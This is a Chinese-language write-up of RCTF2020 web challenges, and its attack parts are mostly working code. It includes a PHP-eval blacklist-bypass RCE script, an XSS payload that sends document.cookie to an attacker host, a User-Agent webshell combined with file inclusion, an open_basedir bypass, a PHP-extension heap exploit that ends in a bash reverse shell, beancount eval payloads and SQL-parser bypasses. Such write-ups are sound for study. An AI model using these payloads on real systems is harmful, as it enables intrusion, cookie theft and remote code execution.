RCTF2020 Writeup

部分web题和其他涉及web的题目的wp

defcon也就图一乐, Web还是得看RCTF(x

这次又回到前十了, 吹爆队友, Kap0k冲冲冲

更新中, zsx zsx.gif

swoole

image-20200602012941643

非预期解

来自Nu1L的非预期解, 也是场上的唯一解

参考 https://evi0s.com/2020/06/01/rctf2020-web-writeup/

<?php
$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));

我们看到最后序列化的是

$a = serialize([$o,'exec']);

那么对数组做函数调用会发生什么呢?

demo如下

<?php
class A{
public $arg1;
}
$o = new A();
$arr = [$o, 'exec'];
$arr();

执行后报错

image-20200602013608967

修改demo如下

<?php
class A{
public $arg1;
public function exec(){
echo "exec";
}
}
$o = new A();
$arr = [$o, 'exec'];
$arr();

翻阅手册后找到了这种调用方式

https://www.php.net/manual/zh/language.types.callable.php

image-20200602013801765

在另外一个文档找到了相关的使用

https://www.php.net/manual/zh/functions.variable-functions.php

image-20200602013931766

<?php
class Foo
{
static function bar()
{
echo "bar\n";
}
function baz()
{
echo "baz\n";
}
}

$func = array("Foo", "bar");
$func(); // prints "bar"
$func = array(new Foo, "baz");
$func(); // prints "baz"
$func = "Foo::bar";
$func(); // prints "bar" as of PHP 7.0.0; prior, it raised a fatal error
?>

也就是说我们在这里通过构造一个array, 就可以获得一次任意无参数函数执行的能力,

Calc

nobody knows php better than me, So calc it

这题主要都是队友做的2333我最后上去拿个flag而已

直接看后端

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>

常见的题型, 这次的过滤了^$这种常用的符号, 那么我们需要找新的方法

@tyaoo 提出了这样的构造思路

((1).(1)){0} => 1
((1.1).(1)){1} => .
(((1.1).(1)){1})&(((4).(1)){0}) => $

然后@crzz利用科学计数法构造了一个E

((1).(0.00001)){4} => E

那么我们就能通过这些字符来获取其他的字符了

exp如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
table = list(b'0123456789.-E') # 已知可构造字符
di = {}
l = len(table)
temp = 0
while temp != l:
for j in range(temp, l):
if ~table[j] & 0xff not in table: # 非运算
table.append(~table[j] & 0xff)
di[~table[j] & 0xff] = {'op': '~', 'c': table[j]} # 加入字典
# print(f'~ {str(bytes([table[j]]))[1:]} = {str(bytes([~table[j]&0xff]))[1:]}') # 打印构造过程
for i in range(l):
for j in range(max(i+1, temp), l):
t = table[i] & table[j] # 与运算
if t not in table:
table.append(t)
di[t] = {'op': '&', 'c1': table[i], 'c2': table[j]} # 加入字典
# print(f'{str(bytes([table[i]]))[1:]} & {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}') # 打印构造过程
t = table[i] | table[j] # 或运算
if t not in table:
table.append(t)
di[t] = {'op': '|', 'c1': table[i], 'c2': table[j]} # 加入字典
# print(f'{str(bytes([table[i]]))[1:]} | {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}') # 打印构造过程
temp = l
l = len(table)

table.sort()
print(bytes(table))


def howmake(ch: int) -> str:
if ch in b'0123456789':
return '(((1).(' + chr(ch) + ')){1})'
elif ch in b'.':
return '(((1).(0.1)){2})'
elif ch in b'-':
return '(((1).(-1)){1})'
elif ch in b'E':
return '(((1).(0.00001)){4})'
d = di.get(ch)
if d:
op = d.get('op')
if op == '~':
c = '~'+howmake(d.get('c'))
elif op == '&':
c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
elif op == '|':
c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
return f'({c})'
else:
print('input error!')
return


if __name__=='__main__':
while True:
payload = input('>')
result = []
for i in payload:
result.append(howmake(ord(i)))
result = '.'.join(result)
print(f'({result})')

这样就可以执行任意命令了, 但是会有长度限制(GET)

分段写命令即可

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import base64
from make import howmake


system = []
for i in 'system':
system.append(howmake(ord(i)))
system = quote('.'.join(system))
#url = 'http://192.168.127.130/calc.php?num='
url = 'http://124.156.140.90:8081/calc.php?num='


def rce(payload: str):
result = []
for i in payload:
result.append(howmake(ord(i)))
result = quote('.'.join(result))
payload = f'({system})({result})'
# print(f'payload:\n({payload})')
r = requests.get(url + payload)
return r.text


if __name__=='__main__':
print('Input your shellcode, press "e" to over and run.')
while True:
i = 1
cmd = ''
temp = input(f'line {i} >')
while temp.lower() != 'e':
cmd += temp.strip() + '\n'
i += 1
temp = input(f'line {i} >')
print('writing shellcode to /tmp/c.sh')
print('=====================================================')
for i in range(0, len(cmd), 10):
payload = cmd[i:i+10]
print(f'{payload}',end='')
# payload = "echo '" + payload + "\\'>>/tmp/c.sh"
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload = f'echo {payload}|base64 -d>>/tmp/c.sh'
rce(payload)
print('=====================================================')
payload = '/bin/bash /tmp/c.sh'
print(f'[+]{payload}')
print()
print('=====================================================')
print(rce(payload))
print('=====================================================')
print()
payload = 'rm -rf /tmp/c.sh'
print(f'[+]{payload}')
rce(payload)
'''
https://github.com/ZeddYu/ReadFlag/blob/master/bash.md
执行下面代码就能拿到flag
rm -rf /tmp/pipe
mkfifo /tmp/pipe
cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)
rm -rf /tmp/pipe
'''

image-20200601092657864.png

flag: RCTF{NO60dy_kn0w5_PhP_6eTter_th4n_y0u}

EasyBlog

come and write something

hint: zepto

EasyBlog has now been fixed due to a CSP configuration issue that caused an error.Sorry about it.

这道题放的比较晚, 就没有仔细看这个题, 后面看到修复了题目的CSP, 并出现了一血, 就去看了眼不同的地方

原本的CSP

default-src 'none'; script-src 'nonce-25614e228b0bf87e41b3898c048882e1af69d244' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'

改正的CSP

default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'

多了个unsafe-eval, 划重点, 要考

打开后是一个登陆

注册的接口在

?page=register

然后我们可以看到管理界面

鲜明的report, xss无疑

接着是测试输入点, 我们发一个贴

123<img src=1>123

可以看到一共有4个输入点, 其中两个没有转义

  1. article的content
  2. comment的content

接着需要看看js的部分是怎么处理的

function addComments(comments) {
comments.forEach(function (comment) {
let html = `
<div class="panel panel-default">
<div class="panel-heading">
<span class="name"></span>
<div class="pull-right">
<button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
</button>
<button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
</button>
</div>
</div>
<div class="panel-body"></div>
</div>
`;
dom = $(html)
dom.find('div>.name').text(comment.name)
dom.find('.panel-body').html(comment.comment)
$('#comments').append(dom)
})
}
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
let btn = $(e.currentTarget)
if (btn.hasClass('like')) {
$.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
} else if(btn.hasClass('dislike')) {
$.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
}
})

首先要注意的是, 这里使用的js是zepto.js, 而不是jquery, 并且这个东西最近一次更新是2016年…

这段代码中有两个地方很可疑

第一个是可控的jsonp

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

可以改变cb的值来控制输出的script, 但是由于我们缺少unsafe-inline, 不能在页面中插入script标签, 这样无法调用这个js

第二个是html()

dom.find('div>.name').text(comment.name)
dom.find('.panel-body').html(comment.comment)

出题人几乎都把点拍在我脸上了, 很明显这里的html就有东西, 我们看文档

https://zeptojs.com/#html

简单来说就是会把输入的内容解析为html代码, 但还是那个问题, 没有unsafe-inline, 而onerror这类事件也被过滤了, 而且script还有nonce保护, 这里虽然我们的输出点在nonce标签的上面, 但是我发现并没有成功绕过这个nonce

123<script src="data:text/plain,alert(1)" a=123 a=

我们输入的不完整标签被闭合了…测试了firefox和chrome, 都没有办法绕过nonce

所以我们必须想办法绕过这个csp

搜索了一下在@zeddyu师傅的blog找到了方法

Web安全从零开始 XSS III

这个方法来自于 https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

Script Gadgets

中文一般称为代码重用

我们简单的看一下示例

例如我们的输入如下

<div data-role="button" … ><script>alert(1)</script></div>

而网页引用的js库中存在一段代码对带有data-role="button"的元素进行了操作, 比如使用html来进行添加, 这就出现了一个dom xss, 页面中会添加一个script标签

<script>alert(1)</script>

这种情况的限制条件为

  • CSP需要存在unsafe-inline
  • 没有nonce或者有方法获取nonce

还有一种情况如下

这里不是使用html添加, 而是用new Function来执行, 相当于eval, 那么我们就不需要script标签了, 这种的限制条件是

  • CSP需要存在unsafe-eval

是不是和题目的情况很像?

那么我们只需要去寻找一下这个zepto.js库存在的gadgets即可, 直接到github看issue

第一个就很有东西

看了一下他的博客和tw, 什么都没有写…并且这个库也是接近废弃了

经过一个多小时的搜索, 什么都没有找到, 就找了下库自己看看吧

而且实际上这个库很短, 才1k多行, 很适合用来审计

我们根据这篇文章的分类来找

https://xz.aliyun.com/t/4165#toc-6

很快就能发现有个地方很特别

当时太困了就懒得细看逻辑, 利用大小写的特性 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

直接试了一发payload

123<scrıpt>alert(1)</scrıpt>123

在评论的content处插入

image-20200601182224943

ok, 直接打cookie

<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>

ceye上不去了, 就用vps nc监听

拿到管理员cookie, 登陆后可以看到flag

flag: RCTF{1s_This_4_feaTur3_0R_A_bUg!}

Best_php

Have fun with php

这次放在pwn里面祸害pwn选手了2333

phppwn的话, 一般是pwn拓展so, 例如上次的[De1CTF 2020] Mixtrue或者是pwn php本身, 同样是上次的[De1CTF 2020] PHPUAF

我们先看题目

image-20200601182755472

有登陆和注册的接口, 进去后在源码找到hint

可以看到代码

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}

/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
return view('home');
}

public function file(Request $request)
{
$file = $request->get('file');

if (!empty($file)) {
if (stripos($file, 'storage') === false) {
include $file;
}
} else {
return highlight_file('../app/Http/Controllers/HomeController.php', true);
}

}

public static function weak_func($code)
{
eval($code);
// try try phpinfo();
// scandir may help too
}
}

有个明显的任意文件包含, 下面有个后门函数(无法调用)

我们先读一下路由

GET /file?file=php://filter/read=convert.base64-encode/resource=../routes/web.php

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');

Route::get('/file', 'HomeController@file')->name('file');

接着尝试读其他的文件, 发现大部分都不能读

猜测是开启了open_basedir, 并且php版本过高, 无法绕过

可以绕过, 是我zz了, 常规手法即可, 所以后面扒内容还能扒一下/proc/self/maps

chdir(“css”); ini_set(“open_basedir”,”..”); chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);ini_set(“open_basedir”,”/“);var_dump(scandir(“/“));

fuzz之后发现有个文件可以读

/file?file=/proc/self/fd/11

是sqlite的db文件, 伪协议下载下来, 可以看到里面的内容

image-20200601183636111

记录了UA头, 那么我们只需要在UA头里面插入payload, 然后包含这个文件就可以rce

接下来就是扫目录扒文件, 获取到的信息如下

  1. Dockerfile

    FROM ubuntu:18.04

    MAINTAINER fdt <frederic.dt.twh@gmail.com>

    ENV DEBIAN_FRONTEND=noninteractive

    RUN apt update && apt install -y tzdata apache2 gnupg2 software-properties-common && add-apt-repository -y ppa:ondrej/php && \
    apt update && apt install -y libapache2-mod-php7.4 php7.4 php7.4-zip php7.4-mbstring php7.4-dom php7.4-sqlite3

    ADD --chown=root:root my_ext.so /usr/lib/php/20190902/
    ADD --chown=root:root ctf-challenge /var/www/ctf-challenge
    ADD --chown=root:root apache2.conf /etc/apache2/apache2.conf

    RUN sed -i "s;/var/www/html;/var/www/ctf-challenge/public;" /etc/apache2/sites-available/000-default.conf && \
    sed -i "s;\;open_basedir =;open_basedir = /var/www/ctf-challenge;" /etc/php/7.4/apache2/php.ini && \
    # ini_set
    sed -i "s;pcntl_unshare,;pcntl_unshare,apache_child_terminate,apache_setenv,chgrp,chmod,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,link,mail,openlog,parse_ini_file,passthru,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system,;" /etc/php/7.4/apache2/php.ini && \
    echo "extension=my_ext.so" > /etc/php/7.4/apache2/conf.d/30-ctf.ini && a2enmod rewrite

    RUN chown -R www-data /var/www/ctf-challenge/storage/framework/ /var/www/ctf-challenge/storage/logs/ && \
    chown www-data /var/www/ctf-challenge/database/db.sqlite /var/www/ctf-challenge/database

    ADD entrypoint.sh /

    EXPOSE 80

    ENTRYPOINT ["/entrypoint.sh"]

    ADD --chown=root:www-data readflag /readflag

    ADD --chown=root:root flag /flag

    RUN chmod 750 /readflag && chmod u+s /readflag && chmod 400 /flag

    # Web flag
    RUN sed -i "s/webmaster@localhost/RCTF{flag_demo_this_is_not_a_real_flag}/g" /etc/apache2/sites-available/000-default.conf

    其中libc为2.27

  2. my_ext.so, 相关的函数为

    image-20200601184109392

稍微改了一下dockerfile, 然后搭了个本地环境给pwn爷爷们打

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive

RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list \
&& sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list \
&& apt update && apt install -y tzdata apache2 gnupg2 software-properties-common gdb git && add-apt-repository -y ppa:ondrej/php && \
apt update && apt install -y libapache2-mod-php7.4 php7.4 php7.4-zip php7.4-mbstring php7.4-dom php7.4-sqlite3 \
&& git clone https://gitee.com/Reimu_hongbai/peda.git ~/peda \
&& echo "source ~/peda/peda.py" >> ~/.gdbinit

ADD --chown=root:root my_ext.so /usr/lib/php/20190902/
ADD --chown=root:root ctf-challenge /var/www/ctf-challenge

RUN sed -i "s;/var/www/html;/var/www/ctf-challenge/public;" /etc/apache2/sites-available/000-default.conf && \
sed -i "s;\;open_basedir =;open_basedir = /var/www/ctf-challenge;" /etc/php/7.4/apache2/php.ini && \
# ini_set
sed -i "s;pcntl_unshare,;pcntl_unshare,apache_child_terminate,apache_setenv,chgrp,chmod,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,link,mail,openlog,parse_ini_file,passthru,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system,;" /etc/php/7.4/apache2/php.ini && \
echo "extension=my_ext.so" > /etc/php/7.4/apache2/conf.d/30-ctf.ini && a2enmod rewrite

ADD entrypoint.sh /

EXPOSE 80

ENTRYPOINT ["/entrypoint.sh"]

ADD --chown=root:www-data readflag /readflag

ADD --chown=root:root flag /flag

RUN chmod 750 /readflag && chmod u+s /readflag && chmod 400 /flag

后面就等着@q4n给我弹shell了

本地很快就通了, 但是远程一直没打通, 直到昨天晚上

我一脸黑人问号

然后就一把梭了

需要注意的是这次的题目没有curlwget, 通过echo xxx>/tmp/1.shbash的方法反弹

贴上@q4n的脚本

#coding:utf-8
import requests
import re
import json,struct,sys
from pwn import *
url = "http://localhost:8085/"
sess = requests.Session()
proxies = {
"http": "http://127.0.0.1:8080"
}
headers = {
"User-Agent": "xxxx<?php eval($_GET['1']);?>xxxxx"
}

def login():
token = re.findall(r"_token.+\"(\w+)\">",sess.get(url + "login", headers=headers).text)[0]
data = {
"_token": token,
"email": "cjm00n@c.com",
"password": "xxx"
}
sess.post(url + "login", data=data)

cnt = 0
def exp(cmd, url,leak=0):
param = {
"1": b"var_dump('cjm00n.top123');" + cmd + b";echo xxxxx;",
"file": "/proc/self/fd/11"
}
result = sess.get(url, params=param,timeout = 20 )
resp = result.content[-5000:]
# print(resp)
# print("len {}".format(len(resp)))
# print(resp)
res = re.findall(r'string\(13\) "cjm00n.top123"([^<]+)x?'.encode(), resp, re.S)
if not res:
res = resp.strip(b"xxxxx")
else:
res = res[0].strip(b"xxxxx")
print("[+] res: {}".format(repr(res.strip())))
# print(result.content)
if leak:
try:
print(hex(u64(res.split('\n')[-1].ljust(8,'\x00'))))
except:
pass
# f = open("./outdump"+str(cnt),"wb")
# f.write(result.content)
# f.close()
# global cnt
# cnt+=1
return res.strip()

def backdoor(idx):
return "ttt_backdoor("+str(idx)+");"
def add(idx,size):
return "ttt_alloc("+str(idx)+","+str(size)+");"
def fr(idx):
return "ttt_free("+str(idx)+");"
def edit(idx,con):
return "ttt_edit("+'\"'+con+'\"'+","+str(idx)+");"
def show(idx):
return "echo ttt_show("+str(idx)+");"

def crash():
cmd = ""
for i in range(7):
cmd+=add(i,0xf8)
cmd+=add(7,0xf8)
cmd+=add(8,0x88)
cmd+=add(9,0xf8)
cmd+=add(10,0x88)
for i in range(7):
cmd+=fr(i)
cmd+=fr(7)
cmd+=edit(8,"a"*(0x88))
cmd+=edit(8,"c"*0x80+p64(0x90+0x100).decode('Latin1'))
cmd+=fr(9)
return cmd




def leak():
cmd = ""
# for i in range(11,14):
# cmd+=add(i,0xf8)
for i in range(11,16):
cmd+=add(i,0x88)

for i in range(7):
cmd+=add(i,0xf8)
cmd+=add(7,0xf8)
cmd+=add(8,0x88) #0x55f3ecc97ea0
cmd+=add(9,0xf8)
cmd+=add(10,0x88)
for i in range(7):
cmd+=fr(i)
cmd+=fr(7)
for i in range(8):
cmd+=edit(8,"a"*(0x88-i))
cmd+=edit(8,"c"*0x80+'\x90\x01\x00')
cmd+=fr(9) # trigger

for i in range(7):
cmd+=add(i+1,0xf8)

cmd+=add(0,0xf8) #loc: 7
cmd+=show(8)
return cmd.encode('latin1')

def fuck(leak = 0x4a1aca0):
libcbase = leak - 0x4a1aca0
realloc_addr = libcbase+0x4a1ac28

cmd = "ttt_hint();"
# for i in range(11,14):
# cmd+=add(i,0xf8)
# for i in range(14,16):
# cmd+=add(i,0x88)
for i in range(11,16):
cmd+=add(i,0x88)

for i in range(7):
cmd+=add(i,0xf8)
cmd+=add(7,0xf8)
cmd+=add(8,0x88) #0x55f3ecc97ea0
cmd+=add(9,0xf8)
cmd+=add(10,0x88)
for i in range(7):
cmd+=fr(i)
cmd+=fr(7)
for i in range(8):
cmd+=edit(8,"a"*(0x88-i))
cmd+=edit(8,"c"*0x80+'\x90\x01\x00')
cmd+=fr(9) # trigger

for i in range(7):
cmd+=add(i+1,0xf8)

cmd+=add(0,0xf8)
# 8 - freeed
cmd += show(8)
cmd += add(9,0x88)
cmd += fr(9)
cmd += edit(8,p64(realloc_addr).decode('Latin1'))
cmd += add(9,0x88)
cmd += add(10,0x88)
cmd += edit(10,p64(0x74696E7770747474).decode('Latin1'))
cmd += edit(9,'echo xxxx|base64 -d>/tmp/1.sh')
cmd += backdoor(9)
cmd += edit(11,'bash /tmp/1.sh\x00')
cmd += backdoor(11)

cmd += show(9)
return cmd.encode('latin1')

if __name__ == "__main__":
DEB = 0

# cmd = crash()
# for i in range(6):
# try:
# exp(cmd, url)
# except:
# continue
# input("press key")
cmd = leak()

# cmd = fuck(0x7f7062c17ca0)
if DEB:
# b *0x7f70541d3fda
# b zif_ttt_free
# for i in range(7):
# result = exp(cmd, url,0)
# result = result.split(b'\n')[1]
# # solve result
# print(result)
# if len(result) < 8:
# libc = u64(result.decode('Latin1').ljust(8,'\x00'))
# print("------------get libc-----------")
# print(hex(libc))
# cmd = fuck(libc)
# exp(cmd, url)
# break
cmd = fuck(0x7f7062c17ca0)
exp(cmd, url)
else:
url = "http://124.156.129.96:8083/"
login()

cmd = crash()
cnt = 0
for i in range(10):
try:
exp(cmd, url+ "file")
except:
continue
# input("press key")
cmd = "ttt_hint();".encode('latin1')
cmd = leak()
cmd = fuck(0x7fd1d96e4ca0)
for i in range(100):
try:
leaknum = exp(cmd, url + "file")
libc = u64(leaknum.decode('Latin1').ljust(8,'\x00'))
print("------------get libc-----------")
print (hex(libc))
break
except:
print("pass"+str(i))
pass

flag: RCTF{pwner_says_PHP_is_not_the_best_language}

Bean

count the PAC-MAN

打开后长这样

作为一个专业的zsx吹, 很快就能联想到

https://blog.zsxsoft.com/post/41

并且你能在里面找到

当然实际上并没有用2333

我们先分析一下这个题目, 后端实现为 Nodejs + Express

当时没有理清楚, 但是我们应该想到, 我们实际上是在使用beancount提供的API, 而不是出题人实现了一套API, 也就是说问题实际上应该是在原本的后端api上, 所以我们应该去看后端的实现

https://github.com/beancount/beancount

注意 https://github.com/beancount/fava 只是一套web接口, 并不是后端的真正实现

然后怎么找呢, 对于一套没有研究的系统, 我们依然是先从危险函数出发, 直接找eval

可以看到有几个结果, 并且写法和右边的示例差不多

config_obj = eval(config_str, {}, {})

看一下代码就可以猜到, 这是直接将传入的str放到eval执行了, 并且没有任何限制

那我们看一下beancount的文档寻找调用的方式, 由于这几个是plugin, 我们搜索对应的语法

https://beancount.github.io/docs/06_beancount_language_syntax.html#plugins

plugin "beancount.plugins.module_name" "configuration data"

那么payload如下

plugin "beancount.plugins.commodity_attr" "__import__('sys').stdout.write(open('/flag').read())"

当然根据我们的搜索结果, 还有另外3个payload如下

plugin "beancount.plugins.check_average_cost" "__import__('sys').stdout.write(open('/flag').read())"
plugin "beancount.plugins.divert_expenses" "__import__('sys').stdout.write(open('/flag').read())"
plugin "beancount.plugins.ira_contribs" "__import__('sys').stdout.write(open('/flag').read())"

fix_payees的执行方式不同

expr = ast.literal_eval(config)
->
Safely evaluate an expression node or a string containing a Python expression

flag: RCTF{welc0me_to_beanc0unt_world}

mysql_interface

题目如下

给出mysql版本为5.7, 使用的解析库是

https://github.com/pingcap/parser

代码如下

import (
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}

其中有一段比较特别

if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false

使用parser去解析, 如果产生报错, 也就是err != nil, 会返回true, 如果成功解析则返回false

并且题目的要求是执行

select flag from flag

如果直接执行会报错

所以我们需要让他报错, 这里有多种方式解题

具体可以看出题人的wp

https://github.com/tr3ee/RCTF2020/blob/master/mysql_interface/solution/README_zh.md

预期解

我们的做法是第一种

队友@crzz阅读源码发现parser是按关键字匹配的方式, 我们只需要找到一个他不支持的关键字即可让他报错

下面是出题人整理的表格

字符 MySQL Server Parser
0x01 - 0x08, 0x15 - 0x19 _MY_CTR 不识别
0x14 _MY_SPC 不识别
0x09 (\t), 0x10 (\n), 0x11 (\v), 0x12 (\f), 0x13 (\r) _MY_CTR 或 _MY_SPC Not Allowed
0x20 (space) _MY_SPC Space
0x85 Unrecognized Space
0xa0 不识别 Not Allowed

因此只需要用

select flag from flag--\x01

即可拿到flag

另外出题人也提到了另外的做法, 注意到给出的mysql版本为5.7

他支持这样的语法

select flag from .flag

其中.flag表示当前库的flag

而parser是不支持这样的语法的, 这也会产生报错, 相关的pull为 https://github.com/pingcap/parser/pull/521

出题人还给出了第三种解法

通过关键字冲突的方式来进行绕过, 由于解析器和mysql的实现存在差异, 不同的关键字会有不同的解析, 因此我们可以遍历关键字来寻找可能的报错

select flag EXCEPT from flag

非预期

天枢的师傅用的是mysql5.7的新特性 https://dev.mysql.com/doc/refman/5.7/en/handler.html

handler flag open
handler flag read first
handler flag close

这利用的方式很特别, 之前在@一叶飘零师傅出的一道题中已经出现了这个特性的使用

2019 FudanCTF Writeup

而parser还没有支持这个语法, 所以就23333

后记

这两天比赛中摸鱼去看了青春有你的决赛, 最喜欢的金子涵没有出道, 失去梦想了……

希望金子再次回到舞台的时间不会太久吧, 是金子总会发光的

悲伤😭

参考链接

  1. https://github.com/tr3ee/RCTF2020
  2. https://museljh.github.io/2020/06/01/RCTF2020-chowder-cross-writeup/
  3. https://blog.cal1.cn/post/RCTF%202020%20rBlog%20writeup
  4. https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020


作者: cjm00n
地址: https://cjm00n.top/CTF/rctf-2020-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

TCTF/0CTF 2020 web writeup 网鼎杯2020预选赛Writeup

评论